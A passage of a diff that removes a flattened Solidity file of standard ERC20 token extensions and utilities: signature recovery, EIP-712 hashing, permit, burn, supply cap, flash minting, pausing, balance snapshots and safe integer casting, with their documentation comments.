-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                let vs := mload(add(signature, 0x40))
-                r := mload(add(signature, 0x20))
-                s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
-                v := add(shr(255, vs), 27)
-            }
-        } else {
-            revert("ECDSA: invalid signature length");
-        }
-
-        return recover(hash, v, r, s);
-    }
-
-    /**
-     * @dev Overload of {ECDSA-recover} that receives the `v`,
-     * `r` and `s` signature fields separately.
-     */
-    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
-        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
-        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
-        // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
-        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
-        //
-        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
-        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
-        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
-        // these malleable signatures as well.
-        require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
-        require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
-
-        // If the signature is valid (and not malleable), return the signer address
-        address signer = ecrecover(hash, v, r, s);
-        require(signer != address(0), "ECDSA: invalid signature");
-
-        return signer;
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
-     * produces hash corresponding to the one signed with the
-     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
-     * JSON-RPC method as part of EIP-191.
-     *
-     * See {recover}.
-     */
-    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
-        // 32 is the length in bytes of hash,
-        // enforced by the type signature above
-        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Typed Data, created from a
-     * `domainSeparator` and a `structHash`. This produces hash corresponding
-     * to the one signed with the
-     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
-     * JSON-RPC method as part of EIP-712.
-     *
-     * See {recover}.
-     */
-    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
-        return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
-    }
-}
-
-
-// File contracts/utils/cryptography/draft-EIP712.sol
-
-
-
-
-
-/**
- * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
- *
- * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
- * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
- * they need in their contracts using a combination of `abi.encode` and `keccak256`.
- *
- * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
- * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
- * ({_hashTypedDataV4}).
- *
- * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
- * the chain id to protect against replay attacks on an eventual fork of the chain.
- *
- * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
- * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
- *
- * _Available since v3.4._
- */
-abstract contract EIP712 {
-    /* solhint-disable var-name-mixedcase */
-    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
-    // invalidate the cached domain separator if the chain id changes.
-    bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
-    uint256 private immutable _CACHED_CHAIN_ID;
-
-    bytes32 private immutable _HASHED_NAME;
-    bytes32 private immutable _HASHED_VERSION;
-    bytes32 private immutable _TYPE_HASH;
-    /* solhint-enable var-name-mixedcase */
-
-    /**
-     * @dev Initializes the domain separator and parameter caches.
-     *
-     * The meaning of `name` and `version` is specified in
-     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
-     *
-     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
-     * - `version`: the current major version of the signing domain.
-     *
-     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
-     * contract upgrade].
-     */
-    constructor(string memory name, string memory version) {
-        bytes32 hashedName = keccak256(bytes(name));
-        bytes32 hashedVersion = keccak256(bytes(version));
-        bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
-        _HASHED_NAME = hashedName;
-        _HASHED_VERSION = hashedVersion;
-        _CACHED_CHAIN_ID = block.chainid;
-        _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
-        _TYPE_HASH = typeHash;
-    }
-
-    /**
-     * @dev Returns the domain separator for the current chain.
-     */
-    function _domainSeparatorV4() internal view returns (bytes32) {
-        if (block.chainid == _CACHED_CHAIN_ID) {
-            return _CACHED_DOMAIN_SEPARATOR;
-        } else {
-            return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
-        }
-    }
-
-    function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
-        return keccak256(
-            abi.encode(
-                typeHash,
-                name,
-                version,
-                block.chainid,
-                address(this)
-            )
-        );
-    }
-
-    /**
-     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
-     * function returns the hash of the fully encoded EIP712 message for this domain.
-     *
-     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
-     *
-     * ```solidity
-     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
-     *     keccak256("Mail(address to,string contents)"),
-     *     mailTo,
-     *     keccak256(bytes(mailContents))
-     * )));
-     * address signer = ECDSA.recover(digest, signature);
-     * ```
-     */
-    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
-        return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
-    }
-}
-
-
-// File contracts/utils/Counters.sol
-
-
-
-
-
-/**
- * @title Counters
- * @author Matt Condon (@shrugs)
- * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
- * of elements in a mapping, issuing ERC721 ids, or counting request ids.
- *
- * Include with `using Counters for Counters.Counter;`
- */
-library Counters {
-    struct Counter {
-        // This variable should never be directly accessed by users of the library: interactions must be restricted to
-        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
-        // this feature: see https://github.com/ethereum/solidity/issues/4637
-        uint256 _value; // default: 0
-    }
-
-    function current(Counter storage counter) internal view returns (uint256) {
-        return counter._value;
-    }
-
-    function increment(Counter storage counter) internal {
-        unchecked {
-            counter._value += 1;
-        }
-    }
-
-    function decrement(Counter storage counter) internal {
-        uint256 value = counter._value;
-        require(value > 0, "Counter: decrement overflow");
-        unchecked {
-            counter._value = value - 1;
-        }
-    }
-
-    function reset(Counter storage counter) internal {
-        counter._value = 0;
-    }
-}
-
-
-// File contracts/extensions/draft-ERC20Permit.sol
-
-
-
-
-
-
-
-
-
-/**
- * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- *
- * _Available since v3.4._
- */
-abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
-    using Counters for Counters.Counter;
-
-    mapping (address => Counters.Counter) private _nonces;
-
-    // solhint-disable-next-line var-name-mixedcase
-    bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
-
-    /**
-     * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
-     *
-     * It's a good idea to use the same `name` that is defined as the ERC20 token name.
-     */
-    constructor(string memory name) EIP712(name, "1") {
-    }
-
-    /**
-     * @dev See {IERC20Permit-permit}.
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
-
-        bytes32 structHash = keccak256(
-            abi.encode(
-                _PERMIT_TYPEHASH,
-                owner,
-                spender,
-                value,
-                _useNonce(owner),
-                deadline
-            )
-        );
-
-        bytes32 hash = _hashTypedDataV4(structHash);
-
-        address signer = ECDSA.recover(hash, v, r, s);
-        require(signer == owner, "ERC20Permit: invalid signature");
-
-        _approve(owner, spender, value);
-    }
-
-    /**
-     * @dev See {IERC20Permit-nonces}.
-     */
-    function nonces(address owner) public view virtual override returns (uint256) {
-        return _nonces[owner].current();
-    }
-
-    /**
-     * @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view override returns (bytes32) {
-        return _domainSeparatorV4();
-    }
-
-    /**
-     * @dev "Consume a nonce": return the current value and increment.
-     *
-     * _Available since v4.1._
-     */
-    function _useNonce(address owner) internal virtual returns (uint256 current) {
-        Counters.Counter storage nonce = _nonces[owner];
-        current = nonce.current();
-        nonce.increment();
-    }
-}
-
-
-// File contracts/extensions/ERC20Burnable.sol
-
-
-
-
-
-
-/**
- * @dev Extension of {ERC20} that allows token holders to destroy both their own
- * tokens and those that they have an allowance for, in a way that can be
- * recognized off-chain (via event analysis).
- */
-abstract contract ERC20Burnable is Context, ERC20 {
-    /**
-     * @dev Destroys `amount` tokens from the caller.
-     *
-     * See {ERC20-_burn}.
-     */
-    function burn(uint256 amount) public virtual {
-        _burn(_msgSender(), amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
-     * allowance.
-     *
-     * See {ERC20-_burn} and {ERC20-allowance}.
-     *
-     * Requirements:
-     *
-     * - the caller must have allowance for ``accounts``'s tokens of at least
-     * `amount`.
-     */
-    function burnFrom(address account, uint256 amount) public virtual {
-        uint256 currentAllowance = allowance(account, _msgSender());
-        require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
-        unchecked {
-            _approve(account, _msgSender(), currentAllowance - amount);
-        }
-        _burn(account, amount);
-    }
-}
-
-
-// File contracts/extensions/ERC20Capped.sol
-
-
-
-
-
-/**
- * @dev Extension of {ERC20} that adds a cap to the supply of tokens.
- */
-abstract contract ERC20Capped is ERC20 {
-    uint256 immutable private _cap;
-
-    /**
-     * @dev Sets the value of the `cap`. This value is immutable, it can only be
-     * set once during construction.
-     */
-    constructor (uint256 cap_) {
-        require(cap_ > 0, "ERC20Capped: cap is 0");
-        _cap = cap_;
-    }
-
-    /**
-     * @dev Returns the cap on the token's total supply.
-     */
-    function cap() public view virtual returns (uint256) {
-        return _cap;
-    }
-
-    /**
-     * @dev See {ERC20-_mint}.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
-        require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
-        super._mint(account, amount);
-    }
-}
-
-
-// File contracts/extensions/IERC3156.sol
-
-
-
-
-
-/**
- * @dev Interface of the ERC3156 FlashBorrower, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * _Available since v4.1._
- */
-interface IERC3156FlashBorrower {
-    /**
-     * @dev Receive a flash loan.
-     * @param initiator The initiator of the loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param fee The additional amount of tokens to repay.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
-     */
-    function onFlashLoan(
-        address initiator,
-        address token,
-        uint256 amount,
-        uint256 fee,
-        bytes calldata data
-    ) external returns (bytes32);
-}
-
-/**
- * @dev Interface of the ERC3156 FlashLender, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- */
-interface IERC3156FlashLender {
-    /**
-     * @dev The amount of currency available to be lended.
-     * @param token The loan currency.
-     * @return The amount of `token` that can be borrowed.
-     */
-    function maxFlashLoan(
-        address token
-    ) external view returns (uint256);
-
-    /**
-     * @dev The fee to be charged for a given loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @return The amount of `token` to be charged for the loan, on top of the returned principal.
-     */
-    function flashFee(
-        address token,
-        uint256 amount
-    ) external view returns (uint256);
-
-    /**
-     * @dev Initiate a flash loan.
-     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    ) external returns (bool);
- }
-
-
-// File contracts/extensions/ERC20FlashMint.sol
-
-
-
-
-
-
-/**
- * @dev Implementation of the ERC3156 Flash loans extension, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * Adds the {flashLoan} method, which provides flash loan support at the token
- * level. By default there is no fee, but this can be changed by overriding {flashFee}.
- *
- * _Available since v4.1._
- */
-abstract contract ERC20FlashMint is ERC20, IERC3156FlashLender {
-    bytes32 constant private RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
-
-    /**
-     * @dev Returns the maximum amount of tokens available for loan.
-     * @param token The address of the token that is requested.
-     * @return The amont of token that can be loaned.
-     */
-    function maxFlashLoan(address token) public view override returns (uint256) {
-        return token == address(this) ? type(uint256).max - ERC20.totalSupply() : 0;
-    }
-
-    /**
-     * @dev Returns the fee applied when doing flash loans. By default this
-     * implementation has 0 fees. This function can be overloaded to make
-     * the flash loan mechanism deflationary.
-     * @param token The token to be flash loaned.
-     * @param amount The amount of tokens to be loaned.
-     * @return The fees applied to the corresponding flash loan.
-     */
-    function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
-        require(token == address(this), "ERC20FlashMint: wrong token");
-        // silence warning about unused variable without the addition of bytecode.
-        amount;
-        return 0;
-    }
-
-    /**
-     * @dev Performs a flash loan. New tokens are minted and sent to the
-     * `receiver`, who is required to implement the {IERC3156FlashBorrower}
-     * interface. By the end of the flash loan, the receiver is expected to own
-     * amount + fee tokens and have them approved back to the token contract itself so
-     * they can be burned.
-     * @param receiver The receiver of the flash loan. Should implement the
-     * {IERC3156FlashBorrower.onFlashLoan} interface.
-     * @param token The token to be flash loaned. Only `address(this)` is
-     * supported.
-     * @param amount The amount of tokens to be loaned.
-     * @param data An arbitrary datafield that is passed to the receiver.
-     * @return `true` is the flash loan was successfull.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    )
-        public virtual override returns (bool)
-    {
-        uint256 fee = flashFee(token, amount);
-        _mint(address(receiver), amount);
-        require(receiver.onFlashLoan(msg.sender, token, amount, fee, data) == RETURN_VALUE, "ERC20FlashMint: invalid return value");
-        uint256 currentAllowance = allowance(address(receiver), address(this));
-        require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund");
-        _approve(address(receiver), address(this), currentAllowance - amount - fee);
-        _burn(address(receiver), amount + fee);
-        return true;
-    }
-}
-
-
-// File contracts/extensions/Pausable.sol
-
-
-
-
-
-/**
- * @dev Contract module which allows children to implement an emergency stop
- * mechanism that can be triggered by an authorized account.
- *
- * This module is used through inheritance. It will make available the
- * modifiers `whenNotPaused` and `whenPaused`, which can be applied to
- * the functions of your contract. Note that they will not be pausable by
- * simply including this module, only once the modifiers are put in place.
- */
-abstract contract Pausable is Context {
-    /**
-     * @dev Emitted when the pause is triggered by `account`.
-     */
-    event Paused(address account);
-
-    /**
-     * @dev Emitted when the pause is lifted by `account`.
-     */
-    event Unpaused(address account);
-
-    bool private _paused;
-
-    /**
-     * @dev Initializes the contract in unpaused state.
-     */
-    constructor () {
-        _paused = false;
-    }
-
-    /**
-     * @dev Returns true if the contract is paused, and false otherwise.
-     */
-    function paused() public view virtual returns (bool) {
-        return _paused;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is not paused.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    modifier whenNotPaused() {
-        require(!paused(), "Pausable: paused");
-        _;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is paused.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    modifier whenPaused() {
-        require(paused(), "Pausable: not paused");
-        _;
-    }
-
-    /**
-     * @dev Triggers stopped state.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    function _pause() internal virtual whenNotPaused {
-        _paused = true;
-        emit Paused(_msgSender());
-    }
-
-    /**
-     * @dev Returns to normal state.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    function _unpause() internal virtual whenPaused {
-        _paused = false;
-        emit Unpaused(_msgSender());
-    }
-}
-
-
-// File contracts/extensions/ERC20Pausable.sol
-
-
-
-
-
-
-/**
- * @dev ERC20 token with pausable token transfers, minting and burning.
- *
- * Useful for scenarios such as preventing trades until the end of an evaluation
- * period, or having an emergency switch for freezing all token transfers in the
- * event of a large bug.
- */
-abstract contract ERC20Pausable is ERC20, Pausable {
-    /**
-     * @dev See {ERC20-_beforeTokenTransfer}.
-     *
-     * Requirements:
-     *
-     * - the contract must not be paused.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        super._beforeTokenTransfer(from, to, amount);
-
-        require(!paused(), "ERC20Pausable: token transfer while paused");
-    }
-}
-
-
-// File contracts/utils/Math.sol
-
-
-
-
-
-/**
- * @dev Standard math utilities missing in the Solidity language.
- */
-library Math {
-    /**
-     * @dev Returns the largest of two numbers.
-     */
-    function max(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a >= b ? a : b;
-    }
-
-    /**
-     * @dev Returns the smallest of two numbers.
-     */
-    function min(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a < b ? a : b;
-    }
-
-    /**
-     * @dev Returns the average of two numbers. The result is rounded towards
-     * zero.
-     */
-    function average(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b) / 2 can overflow, so we distribute.
-        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
-    }
-
-    /**
-     * @dev Returns the ceiling of the division of two numbers.
-     *
-     * This differs from standard division with `/` in that it rounds up instead
-     * of rounding down.
-     */
-    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b - 1) / b can overflow on addition, so we distribute.
-        return a / b + (a % b == 0 ? 0 : 1);
-    }
-}
-
-
-// File contracts/utils/Arrays.sol
-
-
-
-
-
-/**
- * @dev Collection of functions related to array types.
- */
-library Arrays {
-   /**
-     * @dev Searches a sorted `array` and returns the first index that contains
-     * a value greater or equal to `element`. If no such index exists (i.e. all
-     * values in the array are strictly less than `element`), the array length is
-     * returned. Time complexity O(log n).
-     *
-     * `array` is expected to be sorted in ascending order, and to contain no
-     * repeated elements.
-     */
-    function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
-        if (array.length == 0) {
-            return 0;
-        }
-
-        uint256 low = 0;
-        uint256 high = array.length;
-
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-
-            // Note that mid will always be strictly less than high (i.e. it will be a valid array index)
-            // because Math.average rounds down (it does integer division with truncation).
-            if (array[mid] > element) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
-        if (low > 0 && array[low - 1] == element) {
-            return low - 1;
-        } else {
-            return low;
-        }
-    }
-}
-
-
-// File contracts/extensions/ERC20Snapshot.sol
-
-
-
-
-
-
-
-/**
- * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
- * total supply at the time are recorded for later access.
- *
- * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
- * In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
- * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
- * used to create an efficient ERC20 forking mechanism.
- *
- * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
- * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
- * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
- * and the account address.
- *
- * NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it
- * return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this
- * function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.
- *
- * Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient
- * alternative consider {ERC20Votes}.
- *
- * ==== Gas Costs
- *
- * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
- * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
- * smaller since identical balances in subsequent snapshots are stored as a single entry.
- *
- * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
- * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
- * transfers will have normal cost until the next snapshot, and so on.
- */
-
-abstract contract ERC20Snapshot is ERC20 {
-    // Inspired by Jordi Baylina's MiniMeToken to record historical balances:
-    // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
-
-    using Arrays for uint256[];
-    using Counters for Counters.Counter;
-
-    // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
-    // Snapshot struct, but that would impede usage of functions that work on an array.
-    struct Snapshots {
-        uint256[] ids;
-        uint256[] values;
-    }
-
-    mapping (address => Snapshots) private _accountBalanceSnapshots;
-    Snapshots private _totalSupplySnapshots;
-
-    // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
-    Counters.Counter private _currentSnapshotId;
-
-    /**
-     * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
-     */
-    event Snapshot(uint256 id);
-
-    /**
-     * @dev Creates a new snapshot and returns its snapshot id.
-     *
-     * Emits a {Snapshot} event that contains the same id.
-     *
-     * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
-     * set of accounts, for example using {AccessControl}, or it may be open to the public.
-     *
-     * [WARNING]
-     * ====
-     * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
-     * you must consider that it can potentially be used by attackers in two ways.
-     *
-     * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
-     * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
-     * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
-     * section above.
-     *
-     * We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
-     * ====
-     */
-    function _snapshot() internal virtual returns (uint256) {
-        _currentSnapshotId.increment();
-
-        uint256 currentId = _getCurrentSnapshotId();
-        emit Snapshot(currentId);
-        return currentId;
-    }
-
-    /**
-     * @dev Get the current snapshotId
-     */
-    function _getCurrentSnapshotId() internal view virtual returns (uint256) {
-        return _currentSnapshotId.current();
-    }
-
-    /**
-     * @dev Retrieves the balance of `account` at the time `snapshotId` was created.
-     */
-    function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
-
-        return snapshotted ? value : balanceOf(account);
-    }
-
-    /**
-     * @dev Retrieves the total supply at the time `snapshotId` was created.
-     */
-    function totalSupplyAt(uint256 snapshotId) public view virtual returns(uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
-
-        return snapshotted ? value : totalSupply();
-    }
-
-    // Update balance and/or total supply snapshots before the values are modified. This is implemented
-    // in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-      super._beforeTokenTransfer(from, to, amount);
-
-      if (from == address(0)) {
-        // mint
-        _updateAccountSnapshot(to);
-        _updateTotalSupplySnapshot();
-      } else if (to == address(0)) {
-        // burn
-        _updateAccountSnapshot(from);
-        _updateTotalSupplySnapshot();
-      } else {
-        // transfer
-        _updateAccountSnapshot(from);
-        _updateAccountSnapshot(to);
-      }
-    }
-
-    function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
-        private view returns (bool, uint256)
-    {
-        require(snapshotId > 0, "ERC20Snapshot: id is 0");
-        require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
-
-        // When a valid snapshot is queried, there are three possibilities:
-        //  a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
-        //  created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
-        //  to this id is the current one.
-        //  b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
-        //  requested id, and its value is the one to return.
-        //  c) More snapshots were created after the requested one, and the queried value was later modified. There will be
-        //  no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
-        //  larger than the requested one.
-        //
-        // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
-        // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
-        // exactly this.
-
-        uint256 index = snapshots.ids.findUpperBound(snapshotId);
-
-        if (index == snapshots.ids.length) {
-            return (false, 0);
-        } else {
-            return (true, snapshots.values[index]);
-        }
-    }
-
-    function _updateAccountSnapshot(address account) private {
-        _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
-    }
-
-    function _updateTotalSupplySnapshot() private {
-        _updateSnapshot(_totalSupplySnapshots, totalSupply());
-    }
-
-    function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
-        uint256 currentId = _getCurrentSnapshotId();
-        if (_lastSnapshotId(snapshots.ids) < currentId) {
-            snapshots.ids.push(currentId);
-            snapshots.values.push(currentValue);
-        }
-    }
-
-    function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
-        if (ids.length == 0) {
-            return 0;
-        } else {
-            return ids[ids.length - 1];
-        }
-    }
-}
-
-
-// File contracts/utils/SafeCast.sol
-
-
-
-
-
-/**
- * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
- * checks.
- *
- * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
- * easily result in undesired exploitation or bugs, since developers usually
- * assume that overflows raise errors. `SafeCast` restores this intuition by
- * reverting the transaction when such an operation overflows.
- *
- * Using this library instead of the unchecked operations eliminates an entire
- * class of bugs, so it's recommended to use it always.
- *
- * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
- * all math on `uint256` and `int256` and then downcasting.
- */
-library SafeCast {
-    /**
-     * @dev Returns the downcasted uint224 from uint256, reverting on
-     * overflow (when the input is greater than largest uint224).
-     *
-     * Counterpart to Solidity's `uint224` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 224 bits
-     */
-    function toUint224(uint256 value) internal pure returns (uint224) {
-        require(value <= type(uint224).max, "SafeCast: value doesn\'t fit in 224 bits");
-        return uint224(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint128 from uint256, reverting on
-     * overflow (when the input is greater than largest uint128).
-     *
-     * Counterpart to Solidity's `uint128` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 128 bits
-     */
-    function toUint128(uint256 value) internal pure returns (uint128) {
-        require(value <= type(uint128).max, "SafeCast: value doesn\'t fit in 128 bits");
-        return uint128(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint96 from uint256, reverting on
-     * overflow (when the input is greater than largest uint96).
-     *
-     * Counterpart to Solidity's `uint96` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 96 bits
-     */
-    function toUint96(uint256 value) internal pure returns (uint96) {
-        require(value <= type(uint96).max, "SafeCast: value doesn\'t fit in 96 bits");
-        return uint96(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint64 from uint256, reverting on
-     * overflow (when the input is greater than largest uint64).
-     *
-     * Counterpart to Solidity's `uint64` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 64 bits
-     */
-    function toUint64(uint256 value) internal pure returns (uint64) {
-        require(value <= type(uint64).max, "SafeCast: value doesn\'t fit in 64 bits");
-        return uint64(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint32 from uint256, reverting on
-     * overflow (when the input is greater than largest uint32).
-     *
-     * Counterpart to Solidity's `uint32` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 32 bits
-     */
-    function toUint32(uint256 value) internal pure returns (uint32) {
-        require(value <= type(uint32).max, "SafeCast: value doesn\'t fit in 32 bits");
-        return uint32(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint16 from uint256, reverting on
-     * overflow (when the input is greater than largest uint16).
-     *
-     * Counterpart to Solidity's `uint16` operator.
-     *
-     * Requirements:
-     *
-     * - input must fit into 16 bits
-     */
-    function toUint16(uint256 value) internal pure returns (uint16) {
-        require(value <= type(uint16).max, "SafeCast: value doesn\'t fit in 16 bits");
-        return uint16(value);
-    }
-
-    /**
-     * @dev Returns the downcasted uint8 from uint256, reverting on
-     * overflow (when the input is greater than largest uint8).
-     *
-     * Counterpart to Solidity's `uint8` operator.
-     *
